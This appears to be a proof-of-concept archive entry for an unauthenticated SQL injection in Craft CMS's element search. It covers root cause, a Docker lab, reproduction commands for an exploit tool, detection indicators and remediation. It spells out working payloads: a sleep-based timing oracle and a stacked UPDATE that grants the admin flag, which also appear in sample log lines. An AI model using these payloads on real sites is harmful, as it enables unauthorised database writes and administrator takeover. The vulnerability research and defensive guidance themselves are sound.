Craft CMS Unauthenticated SQL Injection in Element Search Escalating to Administrator (CVE-2026-123488)
Published: 2026-11-25 • Researcher: Nicolas Krassas (dinosn) — PoC/lab; Craft CMS — vendor advisory; VulnCheck — CNA/CVE assignment
- Severity
- Critical
- CVE
- CVE-2026-123488 (GHSA-qcvp-ggx3-97r6)
- Category
- web
- Affected product
- Craft CMS (craftcms/cms) — element search query builder
- Affected versions
- 4.0.0 before 4.18.9 and 5.0.0 before 5.11.2 (README: 4.0.0–4.18.8 and 5.0.0–5.11.1; fixed 4.18.9 / 5.11.2 on 2026-09-17)
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-123488
- https://github.com/craftcms/cms/security/advisories/GHSA-qcvp-ggx3-97r6
- https://www.vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-sql-injection-via-element-search-endpoint
- https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab
- https://github.com/fixedbyreboot/CVE-2026-123488-POC
- https://github.com/craftcms/cms/compare/4.18.8...4.18.9
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-11-08 |
| Author / Researcher | Nicolas Krassas (dinosn) — PoC/lab; Craft CMS — vendor advisory; VulnCheck — CNA/CVE assignment |
| CVE / Advisory | CVE-2026-123488 (GHSA-qcvp-ggx3-97r6) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); 9.3 (CVSS 4.0) |
| Status | Weaponized |
| Tags | SQLi, unauthenticated, Craft CMS, PHP, MySQL, stacked-statements, privilege-escalation, CWE-89, admin-takeover, emulated-prepares |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Craft CMS (craftcms/cms) — element search query builder |
| Versions Affected | 4.0.0 before 4.18.9 and 5.0.0 before 5.11.2 (README: 4.0.0–4.18.8 and 5.0.0–5.11.1; fixed 4.18.9 / 5.11.2 on 2026-09-17) |
| Language / Platform | PHP 8.x on Apache/PHP-FPM; MySQL 8.0 or MariaDB backend |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
Craft CMS 4.0.0 through 4.18.8 and 5.0.0 through 5.11.1 contain an unauthenticated SQL injection in the element search endpoint. When a public site template forwards request input into an element query search, an attacker can supply a bracketed search parameter whose attribute value is concatenated raw into the SQL WHERE clause, and MySQL or MariaDB runs with emulated PDO prepares so stacked statements also execute. An attacker can therefore read or write the database without authentication, for example setting the admin flag on the users table or overwriting password hashes to take over an administrator account. The archived PoC automates a time-based detection oracle and a stacked UPDATE that elevates the admin account, validated against a vulnerable 4.18.8 instance and a patched 4.18.9 negative control.
Vulnerability Details
Root Cause
Craft CMS builds element search queries from a request-supplied search parameter. When that parameter arrives as a PHP array, Search::normalizeSearchQuery() merges every attacker-controlled key into the default term options and stamps those options onto each parsed search term. The attribute option is then consumed by Search::_sqlWhere(), which quotes the column name but interpolates the supplied value into the SQL string rather than binding it. Because the MySQL/MariaDB PDO driver runs with ATTR_EMULATE_PREPARES=1 (the default in Craft’s database configuration), PDO does not use server-side prepared statements, so a semicolon-separated second statement in the value is executed as well. Craft 4.18.9 / 5.11.2 fix the issue by restricting accepted default term options to an allowlist (subLeft, subRight, exclude, exact) and by quoting the value.
Attack Vector
An unauthenticated attacker sends an HTTP request to any public front-end template that passes request input into an element query search — for example /index.php?p=search&search[query]=hello&search[attribute]=PAYLOAD. The lab sink is craft.users().search(craft.app.request.getParam('search')); any element type reachable through the search index uses the same vulnerable code path. No login or control-panel session is needed, but a site-specific template that reaches the sink must exist (the lab ships one). The time-based oracle payload is x')) or (select sleep(3)); # and the write payload is x')) or 1=1; update users set admin=1 where username='admin'; #.
Impact
Read and write access to the Craft database under the configured database user: dumping users, sessions, tokens and content, flipping users.admin or overwriting password hashes to gain administrator access to the control panel. Administrator access in turn exposes plugin installation, template editing and other site-management features, so the SQL injection can be a stepping stone to wider compromise. The archived PoC demonstrates the admin-flag flip; data exfiltration is possible through the same primitive but is not implemented upstream.
Environment / Lab Setup
OS: Linux x86_64 with Docker Engine and Docker Compose v2
Target: Craft CMS 4.18.8 (vulnerable, http://localhost:18080)
Craft CMS 4.18.9 (patched negative control, http://localhost:18081)
MySQL 8.0 shared backend (databases craft_vuln and craft_patched)
Attacker: Linux/macOS host with Python 3 (standard library only), same host or LAN
Tools: Docker Compose, Python 3, curl, MySQL client (optional)Setup Steps
| |
Both containers build the same image from craft/Dockerfile, pinned to craftcms/cms:4.18.8 and 4.18.9 respectively, install Craft unattended with a throwaway admin user, and serve the craft/templates/search.html sink. MySQL 8.0 is initialised from init.sql with one database per side.
Proof of Concept
Step-by-Step Reproduction
- Start the A/B lab —
docker compose up -d, then wait until the install script reports the users table snapshot indocker compose logs -f craft-vuln.Shell script1docker compose up -d - Dry run — print the exact request the tool would send without sending anything.Shell script
1python3 poc.py --check-url "http://localhost:18080/index.php?p=search" - Detection oracle on the vulnerable side — the
sleep()runs per scanned row, so a 3-second sleep measures ~18 seconds on the lab’s six candidate rows.Shell script1python3 poc.py --detect --target "http://localhost:18080/index.php?p=search" --delay 3 - Negative control on the patched side — the same request against 4.18.9 should return immediately and the tool should report no delay.Shell script
1python3 poc.py --detect --target "http://localhost:18081/index.php?p=search" --delay 3 - Exploit — re-runs the oracle and then sends the stacked
UPDATE users SET admin=1(this writes to the database).Shell script1python3 poc.py --exploit --target "http://localhost:18080/index.php?p=search" --delay 3 - Verify causally — the admin flag must be 1 only on the vulnerable side;
validate-lab.shresets the baseline, runs both sides and prints the verdict table.Shell script1 2 3 4./validate-lab.sh # or inspect directly: docker compose exec -T mysql mysql -ucraft -pcraftpw craft_vuln -e "select username,admin from users;" docker compose exec -T mysql mysql -ucraft -pcraftpw craft_patched -e "select username,admin from users;"
Exploit Code
See
poc.pyfor the full detect/exploit tool andvalidate-lab.shfor the A/B battery.
Minimal inline request shape (illustration; the archived tool handles timing and verification):
| |
Expected Output
| |
Upstream’s measured A/B table: detection with sleep 3 took 18.0 s on 4.18.8 and 0.0 s on 4.18.9; the stacked UPDATE left users.admin at 0 on the patched control and flipped it 0 → 1 on the vulnerable side.
Detection & Indicators of Compromise
- Front-end requests carrying bracketed search parameters, especially
search[attribute]/search%5Battribute%5D, which normal Craft search forms do not produce. - Payload markers in the query string:
)) or,sleep(,update ... users set admin,1=1, and a trailing#comment. - Response-time anomalies that scale with the requested sleep value (the oracle runs once per scanned row), repeated against the same template.
- MySQL general or slow-query logs showing
sleep()in an element search statement or a stackedUPDATE users SET admin=1. - A
users.adminvalue flipping from 0 to 1 with no control-panel action, unexpected administrator logins, or new admin accounts.
"GET /index.php?p=search&search%5Bquery%5D=hello&search%5Battribute%5D=x%27%29%29+or+%28select+sleep%283%29%29%3B+%23 HTTP/1.1" 200
"GET /index.php?p=search&search%5Battribute%5D=x%27%29%29+or+1%3D1%3B+update+users+set+admin%3D1+where+username%3D%27admin%27%3B+%23 HTTP/1.1" 200SIEM / IDS rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Craft CMS to 4.18.9 or 5.11.2 (or later) and run the pending database migrations; the fix allowlists default term options and quotes the attribute value. |
| Workaround | Do not pass raw request parameters into element query search; validate/allowlist searchable attributes and normalize search to a string, or block array-form search parameters at the reverse proxy/WAF. Remove or protect public search templates until patched. |
| Config Hardening | Run Craft with a least-privilege database user (no FILE or global privileges, only the Craft schema); disable PDO emulated prepares if the stack allows it (defense in depth — it blocks stacked writes, not the injection); put a WAF in front of the site, restrict control-panel access, and alert on users.admin changes and bracketed search parameters. |
References
Notes
Auto-ingested from https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab on 2026-11-25.
Review verdict: ingested as a real exploit PoC, not a detector. poc.py is a working tool — --detect is a time-based oracle, and --exploit sends the stacked UPDATE; validate-lab.sh reproduces the vulnerable-versus-patched A/B claim and shows users.admin flipping 0 → 1 only on 4.18.8. The upstream README attributes prior art to fixedbyreboot/CVE-2026-123488-POC; that claim was recorded but not independently verified here. License is MIT (Copyright (c) 2026 Nicolas Krassas); the LICENSE file is archived with the entry.
Limitations and caveats:
- Exploitation requires a reachable public template that forwards request input into an element query search (the lab ships
craft/templates/search.htmlusingcraft.users().search(...)). Stock Craft installs have no such sink, so an arbitrary out-of-the-box site is not automatically exploitable. - The stacked second statement depends on MySQL/MariaDB with PDO
ATTR_EMULATE_PREPARES=1, the default. With server-side prepares or a non-MySQL driver the timing oracle still works but stacked writes do not. - The archived exploit only flips the admin flag. It does not dump data or overwrite password hashes, although both are possible through the same primitive per the advisory; table and username are adjustable with
--tableand--adminuser. - The
sleep()oracle runs per scanned row, so the observed delay scales with the result set; on a large site the default--delay 3may exceed the client timeout, so reduce it. - The repo README’s file list says
docker-compose.ymlbut the shipped file iscompose.yaml; Compose v2 works as documented. - Lab credentials (
admin/adminadmin, MySQLcraft/craftpw) are throwaway and local-only. The exploit was not executed during ingestion. The near-complete lab tree is archived (13 source/config files plusLICENSEand the upstream README); only.git,.gitignoreand the.envgenerated at install time are absent. - Run only against systems you own or have explicit written authorization to test.
| |